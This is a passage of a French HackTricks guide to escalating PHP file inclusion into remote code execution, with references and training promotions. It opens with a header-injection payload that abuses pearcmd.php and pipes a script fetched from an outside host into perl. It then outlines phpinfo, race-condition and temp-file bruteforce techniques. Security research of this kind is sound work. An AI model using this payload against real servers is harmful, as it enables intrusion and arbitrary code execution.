Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Si vous avez trouvé une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on vous pouvez obtenir RCE :
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Si vous avez trouvé une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le server vérifie si le fichier à inclure contient des balises PHP, vous pouvez essayer de contourner cette vérification avec cette Race Condition :
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
If you can abuse the LFI to upload temporary files and make the server hang the PHP execution, you could then brute force filenames during hours to find the temporary file:
Vers une erreur fatale
Si vous incluez l'un des fichiers /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Vous devez inclure le mĂȘme fichier 2 fois pour dĂ©clencher cette erreur).
Je ne sais pas Ă quoi cela sert mais ça pourrait l'ĂȘtre.
MĂȘme si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP uploadĂ©s sont supprimĂ©s.
.png)
Références
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai â From Support Ticket to Zero Day (FreeFlow Core path traversal â arbitrary write â webshell)
- Xerox Security Bulletin 025-013 â FreeFlow Core 8.0.5
- watchTowr â We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai â Confusion Attacks on Apache
- VTENEXT 25.02 â a three-way path to RCE
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.